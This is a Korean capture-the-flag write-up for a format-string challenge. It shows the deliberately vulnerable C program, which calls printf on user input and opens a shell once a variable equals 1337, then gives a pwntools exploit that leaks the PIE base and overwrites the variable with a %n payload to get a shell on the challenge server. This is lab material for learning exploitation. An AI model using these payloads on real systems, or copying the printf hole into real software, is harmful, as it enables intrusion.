code
// Name: fsb_overwrite.c
// Compile: gcc -o fsb_overwrite fsb_overwrite.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void get_string(char *buf, size_t size) {
ssize_t i = read(0, buf, size);
if (i == -1) {
perror("read");
exit(1);
}
if (i < size) {
if (i > 0 && buf[i - 1] == '\n') i--;
buf[i] = 0;
}
}
int changeme;
int main() {
char buf[0x20];
setbuf(stdout, NULL);
while (1) {
get_string(buf, 0x20);
printf(buf);
puts("");
if (changeme == 1337) {
system("/bin/sh");
}
}
}
checksec
보호기법이 너무 다양하게 걸려있다ㅠㅠ
exploit
PIE base
구하기changeme
의 주소를 구해서 해당 갑을 1337로 변환1. PIE base, changeme 주소 구하기
gdb로 main
을 디스어셈블하고 changeme를 비교하는 부분에 중단점을 걸고 실행을 한다.
buf
에서 10번째, 즉 %15p로 받은 주소값에서 main
의 심볼값을 빼면 된다.
fstring = b'%15$p'
p.sendline(fstring)
leaked = int(p.recvline()[:-1], 16)
codebase = leaked - e.symbols['main']
changeme = codebase + e.symbols['changeme']
2. changeme 1337로 바꾸기
buf
를 6$부터 참조한다.changeme
의 주소를 넣어서 주소가 위치한 변수가 글자수를 참조하도록 하면 된다.%1337c%8$n
+AAAAAA
하면 0x10바이트가 되니까 8번째에 changeme
주소를 넣으면 되는 것이다.fstring = b'%1337c%8' + b'$nAAAAAA' + p64(changeme)
p.send(fstring)
최종 exploit
from pwn import *
p = remote('host3.dreamhack.games', 16051)
e = ELF('./fsb_overwrite')
fstring = b'%15$p'
p.sendline(fstring)
leaked = int(p.recvline()[:-1], 16)
codebase = leaked - e.symbols['main']
changeme = codebase + e.symbols['changeme']
fstring = b'%1337c%8' + b'$nAAAAAA' + p64(changeme)
p.send(fstring)
p.interactive()